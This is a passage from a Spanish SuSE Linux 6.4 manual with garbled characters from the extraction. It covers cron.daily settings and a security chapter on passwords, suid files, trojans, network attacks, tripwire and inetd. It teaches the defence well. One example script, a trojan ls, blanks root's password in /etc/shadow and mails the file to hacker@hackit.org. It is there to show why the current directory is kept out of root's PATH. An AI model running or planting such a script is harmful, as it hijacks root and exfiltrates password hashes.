despuΘs con local .
o RPMDB_BACKUP_DIR=/var/adm/backup/rpmdb
Determina el lugar en el cual cron.daily debe escribir respaldos del banco
de datos RPM; si no se desean respaldos de esto, se ha de poner la variable
en "" .
o MAX_RPMDB_BACKUPS=5
Determina la cantidad de respaldos del banco de datos RPM.
o DELETE_OLD_CORE=yes
Corefiles son imßgenes de la memoria RAM de programas que se termi-
naron por una violaci≤n de la protecci≤n de memoria y se pueden usar
para averiguar el error ocurrido. La variable permite activar la b·sque-
da peri≤dica de ficheros Core antiguos para su posterior eliminaci≤n au-
tomßtica.
o MAX_DAYS_FOR_CORE=7
Esta variable determina la edad mßxima (en dφas) de los ficheros de core
antes de borrarlos automßticamente.
o MAX_DAYS_FOR_LOG_FILES=365
Cuando un fichero de registro (generalmente en /var/log) alcanza un
determinado tama±o, Θste se comprime automßticamente y se archiva.
DespuΘs, un mensaje por correo lo indica al s·per-usuario root. Esta
variable determina cußnto tiempo se almacenan estos ficheros de registro
antes de borrarlos automßticamente. Si el valor estß en 0 no se comprime
ni se archiva nada. íLos ficheros de registro se siguen escribiendo en-
tonces para la eternidad y pueden por tanto llegar a ser muy grandes! Para
ver los ficheros comprimidos se puede usar less .
o MAX_DAYS_IN_TMP=30
Cada dφa se comprueba si existen en el directorio tmp ficheros que no
hayan sido usados para mßs dφas que los indicados en la variable. Si
existe un fichero asφ, se borra automßticamente.
o TMP_DIRS_TO_CLEAR="/tmp /var/tmp"
Indicaci≤n de aquellos directorios para los que se realiza la b·squeda de
ficheros ''antiguos''.
*
* 447
17. El concepto de_arranque_de_SuSE______Linux____________________________________________________________________________________*
*_______________________________________@
o OWNER_TO_KEEP_IN_TMP="root bs"
Los ficheros de los usuarios que se indican aquφ no se borran de los direc-
torios temporales aunque ya se les considere ''antiguos''.
o CWD_IN_ROOT_PATH=no
El directorio actual forma parte (o no) de la rama de b·squeda de `root'.
o ROOT_LOGIN_REMOTE=no
Permitir (o no) el Login para `root' vφa telnet o vφa rlogin . Los
aspectos de seguridad al respecto se tratan en en la pßgina 461El in-
etd subsection.18.2.2.
o SUSEWM_UPDATE=yes
Aquφ se determina si SuSEconfig debe adaptar los ficheros de con-
figuraci≤n del sistema para los gestores de ventas, en funci≤n de los
paquetes de software instalados. Esto se puede personalizar mediante
las variables SUSEWM_WM , SUSEWM_MWM , SUSEWM_XPM , SUSEWM_ADD *
* y
SUSEWM_COMPAT .
448
Parte VIII
Seguridad y otros buenos
consejos
449
Capφtulo 18
Seguridad y Confianza
18.1 Fundamentos
Los peligros latentes en Internet son noticia constante en los medios de co-
municaci≤n; casi cada dφa aparece una nueva amenaza para la computadora
en casa o para toda la red de una empresa que, por lo general, se manifiesta
en forma de virus; sin embargo, es posible protegerse de ellas.
Antes de comentar los distintos mecanismos de protecci≤n hay que aclarar lo
que realmente significa seguridad1 (ingl. Security) y cußles son las amenazas
de las que nos debemos proteger. Los siguientes 6 aspectos muestran el
amplio campo de lo que representa la seguridad en un sistema informßtico:
1. Protecci≤n de los recursos
2. Acceso a la informaci≤n
3. Disponibilidad de los datos
4. Integridad de los datos
5. Confidencialidad de los datos (marco legal, p. ej. en consultorios mΘdicos,
bancos, etc.)
6. Privacidad
Cualquier concepto de seguridad debe garantizar estos 6 aspectos. Para garan-
tizarlos es importante considerar tambiΘn los peligros que conlleva la rotura
de hardware, como p. ej. el ''headcrash'' (caφda del cabezal) de un disco duro,
o cintas de respaldo defectuosas.
_______________________________________________________________________________________________________________________||
|||||||| Una parte elemental de un buen concepto de seguridad son los respaldos ||| |
|||||||| peri≤dicos de todos los datos, cuya integridad en el medio de respaldo || |
|||||||| || |
|||||||| (cinta, etc.) debe ser comprobada. || |
||||||||_______________________________________________________________________________________________________________||_
En resumen, existen las siguientes posibilidades para ''atacar'' una computa-
dora o la red de la que forma parte:
Los usuarios que trabajan directamente con la computadora representan la
mayor amenaza. Los accesos indebidos no necesariamente se realizan a
prop≤sito, pero tampoco se pueden descartar por completo los intentos de
violar_la_seguridad_por_parte_de_empleados.__________
1 Los anglosajones usan con mucha frecuencia el tΘrmino Trust, que se refiere bßsicamente al
grado de confianza que tiene el usuario en su sistema.
*
* 451
18. Seguridad y Confianza_________________________________________________________________________________________________________*
*_______________________________________@
Comunicaci≤n que podrφa ser interceptada a travΘs de redes locales o redes
p·blicas, como es el caso de Internet; ademßs, estas redes ofrecen la
posibilidad de violar la seguridad desde lugares remotos.
Acceso directo a computadoras por ladrones u otras personas no autor-
izadas; robo o sabotaje.
Catßstrofes naturales como rayos o inundaciones que pueden da±ar los
equipos.
Hardware y software defectuoso que puede poner los datos en peligro de
ser borrados o que individuos no autorizados accedan a ellos; tambiΘn
es posible que un fallo de software deje fuera de funcionamiento a todo
el sistema o a un determinado servicio (ver el apartado 81 en la pßgi-
na 456Denial of ServiceHfootnote.81).
Medios de almacenamiento como disquetes, cintas o discos duros se
pueden deteriorar o pueden ser robados.
Campos electromagnΘticos emitidos por cada computadora, monitor o ca-
ble de red (se pueden visualizar con los aparatos adecuados). Estos cam-
pos se transmiten tambiΘn a travΘs de la tuberφa y los cables elΘctricos; las
pantallas planas tambiΘn emiten radicaci≤n.
En este capφtulo consideramos sobre todo los dos primeros aspectos, porque
es justamente en estos donde el uso planificado de SuSE Linux puede reducir
considerablemente el peligro de intrusiones. Los demßs aspectos no interesan
tanto al usuario privado, sin embargo, deben ser considerados en el caso de
una red empresarial.
Para comenzar, el apartado 18.1.1 y el apartado 18.1.2 en la pßgina 455Se-
guridad en redessubsection.18.1.2, mencionan las distintas posibilidades de
atacar un sistema; el apartado 18.2 en la pßgina 457Utilidadessection.18.2 en
la en la pßgina 457Utilidadessection.18.2 presenta en detalle las herramientas
que proporciona SuSE Linux 6.4 para combatir esos ataques. Al final se da
una serie de importantes consejos que se recomienda seguir.
18.1.1 Seguridad local
Lo mejor para protegerse es comenzar con la computadora propia en la red
local. Incluso cuando la computadora no estß en red, es mejor vigilar los
principios bßsicos de seguridad. Una simple manipulaci≤n del disco duro por
parte de "invitados÷p drφa provocar grandes problemas si se pierden con ella
los ·ltimos resultados de la tesis doctoral, ípor ejemplo!.
Contrase±as
Linux es un sistema operativo multiusuario que no solo trata con distintos
usuarios y sus perfiles, sino que tambiΘn maneja un mecanismo de auten-
tificaci≤n mediante contrase±as; aunque parezca molesto, es mejor asignar a
cada usuario del sistema una buena contrase±a2 . Asφ se consigue como mφni-
mo una buena protecci≤n respecto al intruso incauto. El superusuario `root'
_____________________________________________2
Ya se ha escrito mucho acerca de la elecci≤n de una ''buena'' contrase±a y en el apartado 18.4
en la pßgina 466Consejos generalessection.18.4 damos algunos consejos al respecto.
452
_____________________________________________________________________________________________________18.1.__Fundamentos_____*
*______________________
es generalmente el centro de ataques, asφ que su contrase±a debe ser elegida
con especial atenci≤n.
No obstante, las mejores contrase±as no sirven si el intruso tiene acceso
directo a la computadora y la puede arrancar por ejemplo con un disquete
de arranque. Esto le darφa acceso directo al sistema, por lo que se deberφa
desactivar en el Setup de la BIOS la posibilidad de arrancar la computadora
con disquete o CD-ROM.
_______________________________________________________________________________________________________________________||
|||||||| En el mismo momento de desactivar la posibilidad de arranque vφa dis- ||| |
|||||||| || |
|||||||| quete, se debe activar una contrase±a para la BIOS la cual se debe recordar || |
|||||||| siempre para no perder el acceso normal a ella. Si la contrase±a se pierde || |
|||||||| || |
|||||||| queda como remedio ''resetear'' la BIOS || |
||||||||_______________________________________________________________________________________________________________||_
Si estß usando LILO (ver apartado en la pßgina 130Otras opciones de con-
figuraci≤n (Selecci≤n)Hfootnote.21), es recomendable colocar en el fichero
/etc/lilo.conf la opci≤n restricted junto con una contrase±a (p. ej.
contrase±a_segura ) y activarla con el comando lilo . Sin esta protec-
ci≤n cualquier persona sentada en frente de la mßquina serφa capaz de violar
la seguridad del sistema. La contrase±a ha de ser segura y solo `root' debe
tener acceso de lectura al fichero /etc/lilo.conf.
El paquete john de la serie Software del ßmbito de seguridadsec
contiene un programa para descubrir contrase±as. íUn administrador de sis-
tema cuidadoso puede utilizar este programa para averiguar las contrase±as
''dΘbiles'' para luego poder evitarlas!
Derechos de acceso
Para restringir las posibilidades de los usuarios, estos siempre deben trabajar
con el mφnimo de derechos posibles. Esto incluye al administrador de sistema
que no debe trabajar como superusuario cuando no estΘ realizando ninguna
tarea de administraci≤n. La contrase±a del superusuario siempre debe man-
tenerse en secreto, para evitar cualquier manipulaci≤n ya sea a prop≤sito o
accidental.
Buffer Overflows y otros ataques
El mΘtodo mßs com·n para conseguir derechos de `root' en un sistema es
el de provocar ''buffer overruns''3 . El funcionamiento de estos ''Exploits'' se
basa en sobreescribir campos estßticos de la pila de usuario (ingl. User stack)
de un determinado programa en ejecuci≤n. De esta forma se sobreescriben
otras variables en la pila de usuario para ejecutar asφ el c≤digo deseado (p. ej.
una shell). Programas vulnerables a este tipo de ataque son aquellos que
tienen un tama±o de campo (array) estßtico para la entrada de valores y que
no tienen control de desbordamiento de b·fer.
Los ·nicos programas atractivos para estos ataques son los que tienen el
''suid-Bit'' o el ''sgid-Bit'' activado, por lo que se ejecutan con los derechos
del propietario del programa y no con los del usuario que ejecuta el progra-
ma. Normalmente__estos__programas__necesitan__el__modo__''suid_ root'', ya que
3 El tema se conoce tambiΘn bajo el nombre ''stack smashing vulnerabilities''.
*
* 453
18. Seguridad y Confianza_________________________________________________________________________________________________________*
*_______________________________________@
ejecutan programas de los que root es propietario (p. ej. passwd ). La meta
de SuSE Linux es la de disminuir al mßximo la cantidad de programas con
esta caracterφstica para proteger de este modo el sistema. Ademßs, se acon-
seja consultar las publicaciones tφpicas sobre el tema de seguridad y, en caso
de que aparezca un hueco de seguridad, instalar inmediatamente los parches
necesarios.
Otro tipo de ataque a programas privilegiados son los llamados ''link attacks''.
Por el trabajo inseguro que estos programas realizan en directorios p·blicos,
serφa posible pasar datos a ficheros muy distintos de lo pensado, consiguiendo
con ello informaci≤n restringida sobre el sistema.
Para reducir la cantidad de ficheros tipo suid y sgid , SuSE Linux ofrece a
travΘs de YaST la posibilidad de asignar los permisos sobre los ficheros, de
tal modo que el acceso a ellos sea seguro. Elija `Administraci≤n de sis-
tema', `Configuraciones de seguridad' y ponga secure o paranoid
en `Los permisos de archivo estßn como:'. Se puede comprobar los
ficheros /etc/permissions.secure y /etc/permissions.paranoid
para ver los permisos modificados. Antes de llegar al nivel de seguridad
paranoid es conveniente comprobar que la funcionalidad del propio sistema
no estΘ demasiado restringida.
Por su complejidad y la cantidad de c≤digo existente, el sistema X Window
(XFree86) ha presentado con cierta frecuencia huecos de seguridad que ac-
tualmente no representan tanto problema ya que en SuSE Linux los servidores
y librerφas ya no son ''suid-root''. Sin embargo, pueden existir algunos defec-
tos en la comunicaci≤n cliente-servidor, por lo cual, tambiΘn existe la posi-
bilidad de interceptar las entradas por teclado o de leer el contenido de una
ventana. Si se tiene en cuenta el consejo No. 3, usando ''Xauthority'' mediante
el comando xauth y renunciando al comando xhost + , se consigue un nivel
alto de seguridad. Para iniciar programas del sistema X Window de forma re-
mota, se usa el paquete ssh de la serie n (network); en caso de uso comercial
consultar los tΘrminos de licencia en /usr/doc/packages/ssh/COPYING.
ssh existe para casi todas las plataformas. No obstante este tipo de ''X11-
Forwarding'' involucra otro tipo de peligros, por lo que puede ser mejor pre-
scindir completamente de ello.
________________________________________________________________________________________________________*
*________
| Por razones de seguridad, ademßs de la pΘrdida de rendimiento, es mejor *
* |||
| *
* |||
| prescindir del sistema X Window en los servidores. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Virus y caballos de Troya
Hay computadoras y sistemas operativos que estßn seriamente amenazados
por muchos tipos de virus, ya que el traspaso de software en disquete repre-
senta el mejor caldo de cultivo para los virus. Afortunadamente, hasta ahora
solo se conocen 2 virus para Linux. Como prßcticamente no se traspasa soft-
ware para Linux en formato binario y ademßs SuSE Linux puede ser consid-
erado libre de virus, no existe ning·n peligro, mientras se tenga en cuenta el
consejo No. 1 de la pßgina 466Consejos generalesItem.232.
Otra cosa son los virus de macro que se siguen extendiendo p. ej. vφa E-
Mail, incorporados en documentos de procesadores de texto. Como no existe
454
_____________________________________________________________________________________________________18.1.__Fundamentos_____*
*______________________
ning·n paquete de ofimßtica estßndar para Linux, estos virus se encuentran
bajo SuSE Linux en un ambiente ''estΘril''. Cuando se usa SuSE Linux en un
servidor de correo como ''agente de traspaso de correo'' (ingl. Mail Transfer
Agent), existe la posibilidad de escanear todo el correo entrante y saliente
para detectar alg·n virus incorporado.
Los ''caballos de Troya'' merecen especial atenci≤n. Son programas que
aparentan ser algo muy diferente de lo que realmente son, para poder ac-
tuar ''a escondidas''. Por ejemplo, por detrßs de un prompt de login se puede
esconder un caballo de Troya que almacena en un fichero las contrase±as
robadas o las envφa por E-Mail al presunto intruso. Es algo que puede parecer
inofensivo y divertido, pero en el momento que se trata de robar n·meros de
tarjetas de crΘdito o la clave de acceso a la cuenta corriente, pasa a ser algo se-
rio. La posibilidad de descargar un caballo de Troya de Internet o de recibirlo
vφa Email es relativamente baja. Una vez que se haya violado la seguridad del
sistema, el intruso deja generalmente otros caballos de Troya para acceder al
sistema en otras ocasiones. Por eso, cuando se descubre un caballo de Troya
es bastante seguro que la seguridad del sistema ha sido violada.
No hay ninguna protecci≤n definitiva contra los virus y los caballos de Troya,
pero un buen programa antivirus, un cierto cuidado al traspasar informaci≤n
vφa disquete asφ como el hecho de tomar en consideraci≤n los consejos ex-
puestos en el apartado 18.4 en la pßgina 466Consejos generalessection.18.4,
pueden ayudar mucho. Programas como tripwire en el paquete tripwire,
serie sec (Software del ßmbito de seguridad), pueden ayudar a detectar prob-
lemas se seguridad (ver en la pßgina 458TripwireHfootnote.82).
18.1.2 Seguridad en redes
Ya casi no quedan computadoras que trabajen por sφ solas. Con las excelentes
capacidades de comunicaci≤n no es de extra±ar que muchas computadoras
con Linux se encuentren en una red de ßrea local (LAN), estΘn conectadas
vφa m≤dem o RDSI a Internet o sirvan de pasarela (ingl. Gateway) para to-
da una sub-red. De esta forma, cada computadora estß expuesta a m·ltiples
amenazas procedentes de la red. A la mayorφa de los posibles ataques se hace
frente con la configuraci≤n adecuada de un cortafuegos (ingl. firewall). Los
puertos del cortafuegos que quedan abiertos siguen siendo vulnerables, pero
la aplicaci≤n de algunas herramientas adicionales puede reducir considerable-
mente el peligro.
La probabilidad de ser el destino de un ataque de este estilo durante unos
30 minutos de comunicaci≤n (para leer p. ej. el correo) es prßcticamente de-
spreciable, sin embargo, se deben proteger en todo caso los sistemas que se
conectan a travΘs de una lφnea permanente. A continuaci≤n se presentan las
formas de ataque mßs frecuentes.
Man in the Middle
Los ataques del tipo ''Man in the Middle'' se refieren a paquetes de informa-
ci≤n en la red que se ''rutean'' a travΘs de una o de varias computadoras entre
distintas redes. El agresor tiene en este caso el control sobre uno de los en-
rutadores (ingl. router) y puede interceptar, modificar y desviar los paquetes
*
* 455
18. Seguridad y Confianza_________________________________________________________________________________________________________*
*_______________________________________@
IP. Como los paquetes IP no estßn autentificados en la actualidad, esta for-
ma de ataque es relativamente sencilla, sin embargo, el futuro estßndar IPv6
mejorarß esta situaci≤n.
Estos ataques se pueden producir p. ej. cuando se estß enviando E-Mail o
accediendo a un servidor web y el ·nico remedio contra ellos es el uso de
la criptografφa. Las conexiones de red vφa telnet o rsh son legibles (con-
trase±a incluida), ya que no se encriptan y para evitarlo lo mejor es usar ssh
para conectarse. En cuanto a los E-Mails es posible apoyarse en pgp . La
transmisi≤n codificada de pßginas web se consigue con el protocolo SSL4 .
De todos modos la calidad de la encriptaci≤n siempre se basa en la trans-
ferencia segura de las claves, por lo que es muy importante transferirlos con
especial cuidado.
El paquete apassl de la serie n (network) contiene el servidor Apache (pa-
quete apache), capaz de usar SSL.
Buffer Overflows, 2a entrega
Los Buffer overflows representan, directamente por detrßs del ''sniffing'' (la
lectura pasiva de datos para espiar p. ej. contrase±as), la manera mßs frecuente
de poner en peligro la seguridad del sistema. En realidad cualquier servicio
que sea accesible desde afuera, representa un problema potencial de seguridad
(p. ej. Mail, Webserver, POP3, etc.) Todos los servicios imprescindibles solo
deberφan ser accesibles a travΘs de una configuraci≤n de Firewall del kernel de
Linux (mediante ipchain ) y solo se deberφa brindar servicios a determinados
solicitantes. Si esto no fuera posible, lo mejor es realizar el servicio en
cuesti≤n con una versi≤n especialmente segura (p. ej. paquete postfix en
lugar de paquete sendmail). Ademßs los expertos tienen la posibilidad de
ejecutar cada servicio en su propio entorno chroot .
Denial of Service
Para ataques del tipo ''Denial-of-Service'', el agresor bloquea un determinado
servicio de red por sobrecarga. Seg·n las circunstancias, esto no solo afecta
a un servicio de red en concreto sino que bloquea todos los accesos a la
computadora. Este tipo de ataque se realiza especialmente para dejar fuera
de servicio a un servidor de nombres con el prop≤sito de acoger su funci≤n y
de este modo poder desviar los paquetes de red a otro lugar. Para ocultar el
origen del ataque, normalmente el ''Denial of Service'' se usa en combinaci≤n
con ''IP Spoofing'' (ver en la pßgina siguiente).
Por lo general, un par de horas despuΘs de la publicaci≤n de un ataque tipo
''Denial of Service'', el cual realmente llega a paralizar una computadora,
aparece un parche para protegerse de Θl. SuSE Linux incluye parches contra
todos los ataques de este tipo que se han llegado a conocer hasta el momento
de la edici≤n de este libro, no obstante, el administrador del sistema deberφa
estar siempre al tanto de las ·ltimas novedades.
_____________________________________________4
SSL significa Secure Socket Layer.
456
___________________________________________________________________________________________________________18.2.__Utilidades*
*______________________
IP Spoofing
Con ''IP Spoofing'' se denomina una tΘcnica que aprovecha un hueco de se-
guridad del protocolo TCP/IP. Ya que no se controla la direcci≤n IP del remi-
tente de un paquete TCP/IP es posible modificarla, lo cual permite al agresor
poder camuflarse.
Lo mßs importante es configurar el propio enrutador de tal manera que solo
los paquetes con una direcci≤n externa pasen a la red interna y que solo salgan
los mensajes con una direcci≤n interna vßlida.
18.2 Utilidades
Este apartado explica las posibilidades para controlar el sistema usando her-
ramientas que comprueban la integridad del mismo. Ante todo hay que
aclarar que la exposici≤n frente a los ataques es particular para cada caso;
p. ej. una red que estß protegida por un cortafuegos no precisa de tantas me-
didas de seguridad y control como lo necesita una que no lo estΘ.
18.2.1 Utilidades locales
Entre las ventajas indiscutibles de Linux destacan su estabilidad y el con-
cepto multiusuario que por otra parte conlleva tambiΘn ciertos riesgos nada
despreciables. Estos se originan en los derechos de acceso y ejecuci≤n menos
conocidos de los cuales se puede aprovechar un usuario (agresor) experimen-
tado. De hecho se trata del llamado suid-bit; un programa que tenga este bit
activado posee automßticamente los derechos del usuario al cual pertenece.
Si el programa pertenece al superusuario, entonces se le otorga durante la eje-
cuci≤n los derechos del superusuario aunque haya sido iniciado por cualquier
otro usuario. Esto parece peligroso pero es imprescindible para ejecutar al-
gunas funciones. Un ejemplo es ping , que se debe ejecutar con derechos de
superusuario. Para que todos los usuarios lo puedan usar, el suid-bit de ping
estß activado.
tux@tierra:/home/tux > ls -l /bin/ping
_______________________________________________________________________________________________________________________
|||||||| |
|||||||| -rwsr-xr-x 1 root root 13216 Mar 17 16:36 /bin/ping |
|||||||| |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Para saber cußles programas de la computadora tienen el suid-bit activado y
pertenecen al usuario `root', introduzca el siguiente comando:
tux@tierra:/home/tux > find / -uid 0 -perm +4000
De este modo es posible identificar programas ''sospechosos''. Con YaST ,
SuSE Linux ofrece la posibilidad de asignar los permisos sobre los ficheros de
tal modo que el acceso a ellos sea seguro. Elija `Administraci≤n de sis-
tema', `Configuraciones de seguridad' y ponga secure para `Los
permisos de archivo estßn como:'. Se puede comprobar el fichero
/etc/permissions.secure para ver los permisos modificados.
*
* 457
18. Seguridad y Confianza_________________________________________________________________________________________________________*
*_______________________________________@
Cuesta bastante tiempo supervisar continuamente una o varias computadoras,
pero existen afortunadamente herramientas que facilitan esta tarea. Una de
estas herramientas es el programa tripwire , paquete tripwire, serie sec
(Software del ßmbito de seguridad), recomendado por el CERT5 .
Tripwire
El funcionamiento de tripwire es bastante sencillo; el programa repasa todo el
sistema y almacena informaci≤n sobre los ficheros en un banco de datos. Hay
un fichero de configuraci≤n que permite definir cußles directorios se deben
comprobar y cußles aspectos se deben vigilar.
Tripwire no busca ficheros infectados ni fallos del sistema sino que genera
un banco de datos sobre un sistema supuestamente ''limpio''. Por lo tanto
se aconseja generar este banco de datos inmediatamente despuΘs de la in-
stalaci≤n y antes de conectar la computadora a la red, mediante el siguiente
comando:
root@tierra:root > /var/adm/tripwire/bin/tripwire -init
La tabla 18.1 muestra las ramas del banco de datos y del fichero de configu-
raci≤n del modo en que estßn fijadas en SuSE Linux.
________________________________________________________________________________________________________*
*________
/var/adm/tripwire Banco de datos y fichero de configuraci≤n
databases Este directorio se genera de forma au-
tomßtica y alberga temporalmente los ban-
cos de datos nuevos. DespuΘs estos se
deben copiar a mano al lugar correcto.
/var/adm/tripwire/ El fichero de configuraci≤n.
tw.config
/var/adm/tripwire/db Aquφ se encuentra el banco de datos.
________________________________________________________________________________________________________*
*________
Tabla 18.1: Las ramas fijas de los componentes de Tripwire
Las ramas se definieron de este modo, ya que solo el superusuario puede
entrar a su directorio ''home'' /root. Lo ideal es tener el banco de datos
sobre un sistema de ficheros de solo lectura como p. ej. un disquete pro-
tegido contra escritura, dado que en caso contrario el agresor serφa capaz
de ocultar sus manipulaciones modificando el banco de datos. El fichero
/usr/doc/packages/tripwire/tw.conf.example.linux muestra una
configuraci≤n de ejemplo para Tripwire. La sintaxis y las caracterφsticas de
este fichero de configuraci≤n se detallan en la Manpage de tw.config. Se
pueden usar diferentes mΘtodos para generar sumas de comprobaci≤n y tam-
biΘn es posible indicar quΘ informaci≤n sobre un fichero o directorio debe ser
grabada.
DespuΘs de generar un fichero de configuraci≤n individualizado, se podrφa
p. ej. ejecutar tripwire con regularidad como una tarea de cron.
_____________________________________________5
CERT = Computer Emergency Response Team; ver http://www.cert.dfn.de/dfncert/
info.html.
458
___________________________________________________________________________________________________________18.2.__Utilidades*
*______________________
SuSE Security Tools
SuSE Linux ya contiene cuatro programas de seguridad especialmente desar-
rollados para aumentar y controlar la seguridad del sistema.
El paquete firewals, serie sec (Software del ßmbito de seguridad) contiene
el script /usr/sbin/SuSEfirewall, que lee y eval·a el fichero de configu-
raci≤n /etc/rc.firewall y despuΘs genera listas de filtro restrictivas me-
diante ipchains . En el apartado 18.2.2 en la pßgina 461Utilidades para la
redsubsection.18.2.2 hay informaci≤n adicional.
El paquete secchk, serie sec (Software del ßmbito de seguridad) contiene
varios scripts peque±os que efect·an cada dφa, semana o mes, algunos con-
troles de seguridad (p. ej. control de la integridad del fichero de contrase±as,
de los datos de usuarios, m≤dulos en ejecuci≤n, etc.) y las modificaciones se
notifican al administrador de sistema.
El paquete secchk, serie sec (Software del ßmbito de seguridad) contiene
dos programas especiales para SuSE Linux. DespuΘs de la instalaci≤n se
llevan a cabo peri≤dicamente algunas comprobaciones de seguridad (p. ej. la
consistencia del fichero de contrase±as, los datos de los usuarios, los m≤dulos
en ejecuci≤n, etc.) y las modificaciones se notifican al administrador de
sistema.
El paquete hardsuse, serie sec (Software del ßmbito de seguridad) contiene
el script /etc/security/harden`suse.pl , escrito en Perl y se desarroll≤ para ofre-
cer a los administradores de sistema un programa de uso sencillo con el fin de
aumentar la seguridad. DespuΘs del inicio del mismo aparecen 9 preguntas
del tipo Sφ/No, p. ej. sobre la desactivaci≤n de servicios o la minimizaci≤n
de ficheros con suid o sgid-bit. Con estas indicaciones el programa efec-
t·a cambios en la configuraci≤n del sistema. Un fichero de registro con las
modificaciones hechas se encuentra en /etc/harden_suse.log, ademßs se
generan copias de seguridad de los ficheros modificados. Si despuΘs de esto
el sistema se comportara de forma no deseada, se podrφa restablecer la con-
figuraci≤n anterior con /etc/undo`harden`suse .
El paquete scslog, serie sec (Software del ßmbito de seguridad) contiene
un m≤dulo que protocoliza todas las conexiones de red de entrada y de salida
una vez que estΘ cargado (se puede automatizar esto, a±adiΘndolo p. ej. a los
guiones de inicio).
En el paquete secumod, serie sec (Software del ßmbito de seguridad) hay
un m≤dulo adicional que evita (o al menos dificulta) ataques al sistema. En-
tre estos ataques estßn los del tipo Symlink-, Hardlink- y Pipe y es posible
impedir el ''stracing'' de los procesos. Como se trata de un paquete muy nue-
vo que a·n no estß completamente documentado, recomendamos consultar la
documentaci≤n electr≤nica sobre este paquete.
Hay otras herramientas que ya se estßn preparando.
Leer Logfiles
Una buena fuente de informaci≤n sobre las actividades que se llevan a cabo
en la computadora son los ficheros de registro (Logfiles), ya que el sistema
y determinados programas almacenan en estos informaci≤n. Se deberφa com-
*
* 459
18. Seguridad y Confianza_________________________________________________________________________________________________________*
*_______________________________________@
probar regularmente, como mφnimo, el fichero /var/log/messages, ya que
SuSE Linux anota en Θl la mayorφa de informaci≤n disponible.
Por lo general falta el tiempo o la motivaci≤n para comprobar estos ficheros
que crecen continuamente. Por suerte hay herramientas para ayudar en esta
tarea como por ejemplo el programa logsurfer , que permite el control contin-
uo de los ficheros de registro. Determinados mensajes en el fichero de registro
provocan determinadas reacciones, como p. ej. el envφo de un mail o el inicio
de un programa externo.
Hay ejemplos de configuraci≤n en la excelente pßgina del manual de
logsurfer.conf (man 4 logsurfer.conf ).
La variable <PATH> y el usuario `root'. . .
Trabajando como `root' en SuSE Linux probablemente ya habrß notado que
el directorio actual se excluye del ''path'' de b·squeda. Esto se manifiesta con
la necesidad de anteponer ./ a cualquier programa a ejecutar que se encuentre
en el directorio actual. La raz≤n para esto se explica fßcilmente de la siguiente
manera:
o Supongamos que hay un usuario dado de alta en el sistema y Θste crea el
script que figura en el fichero 18.2.1.
________________________________________________________________________________________________________*
*________||||
| *
* |
| #!/bin/sh *
* |
| cp /etc/shadow /etc/shadow.system *
* |
| *
* |
| cat /etc/shadow.system | \ *
* |
| sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow *
* |
| *
* |
| # rm -f /etc/shadow.system *
* |
| mailx hacker@hackit.org -s "Root Account hacked" < /etc/shadow *
* |
| /bin/ls $* *
* |
| *
* |
| *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Fichero 18.2.1: Script para obtener una cuenta de `root'
o Este script lo copia a /tmp/ls
o Si en esta situaci≤n el directorio de `root' es /tmp, este directorio (co-
mo directorio actual) se encuentra por delante de /bin en la variable
<PATH>, por lo cual, el comando ls ejecuta el script mencionado en
lugar del ls ''real'' en /bin/ls. El script quita la contrase±a de `root' y
envφa un mail al usuario agresor informßndole que dispone ahora de una
cuenta con derechos de superusuario en la computadora. Esto no es muy
agradable ;-)
Si el directorio actual no hubiese formado parte del ''path'' de b·squeda,
se deberφa haber introducido explφcitamente el comando ./ls para ejecutar
el script, o sea que, introduciendo solo ls ~ como es normal ~ se hubiera
ejecutado ls y no hubiera pasado nada. De hecho el script es un ''caballo de
Troya'' (ver en la pßgina 454Virus y caballos de TroyaHfootnote.80).
460
___________________________________________________________________________________________________________18.2.__Utilidades*
*______________________
18.2.2 Utilidades para la red
No cabe duda que es muy importante vigilar y controlar una computadora
incorporada en una red, por lo tanto, se comentan a continuaci≤n algunas
medidas de protecci≤n contra ataques procedentes de la misma.
El inetd
Es importante reflexionar bien sobre los servicios (puertos) que ofrece el in-
etd (Internet ''Super-Server''). En la configuraci≤n predeterminada de SuSE
Linux, los servicios ''peligrosos'' estßn desactivados. Como ''peligrosos'' se
consideran los servicios internos (ingl. internal services) de inetd . El fichero
de configuraci≤n se encuentra bajo /etc/inetd.conf; sin embargo, tam-
biΘn se debe tener cuidado con otros servicios ~ todo depende de las necesi-
dades individuales. Es recomendable echar un vistazo al fichero de configu-
raci≤n, ya que hay varios servicios activados por defecto (p. ej. POP3). En el
fichero 18.2.2 se muestra una selecci≤n de los servicios que normalmente se
necesitan en la mayorφa de casos.
_______________________________________________________________________________________________________________________||
|||||||| |
|||||||| ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -a |
|||||||| telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd |
|||||||| shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L |
|||||||| |
|||||||| login stream tcp nowait root /usr/sbin/tcpd in.rlogind |
|||||||| finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -w |
|||||||| ident stream tcp wait nobody /usr/sbin/in.identd in.identd \ |
|||||||| -w -e -t120 |
|||||||| |
|||||||| |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Fichero 18.2.2: Ejemplo de configuraci≤n tφpica para el inetd
Tal vez serφa conveniente prescindir de los servicios telnet , shell y login , ya
que estos permiten al agresor capturar todos los datos sin codificaci≤n (con-
trase±a incluida). Para hacerlo ni siquiera se requiere de conocimientos espe-
ciales, porque existen programas hechos a tal prop≤sito. En ning·n caso es
apropiado permitir el ''login'' remoto como superusuario `root'. Para reme-
diar este problema se puede recurrir a la ''Secure Shell'' (paquete ssh), con la
que se encripta toda la informaci≤n transmitida como tambiΘn la contrase±a
usada (+ Encriptaci≤n).
Cortafuegos de SuSE
_______________________________________________________________________________________________________________________||
|||||||| El soporte de instalaci≤n no responde a preguntas respecto al cortafuegos ||| |
|||||||| de SuSE . || |
||||||||_______________________________________________________________________________________________________________||_
El cortafuegos de SuSE (paquete firewals, serie sec (Software del ßm-
bito de seguridad)) se activa y se configura mediante el fichero /etc/rc.
firewall. Las distintas entradas estßn documentadas en el mismo fichero.
Para facilitar el inicio en esta materia, se explican algunos conceptos bßsicos
sobre el uso del cortafuegos de SuSE .
*
* 461
18. Seguridad y Confianza_________________________________________________________________________________________________________*
*_______________________________________@
El protocolo que se usa para la comunicaci≤n en Internet es el que se conoce
bajo el nombre ''TCP/IP'' que significa ''Transmission Control Protocol and
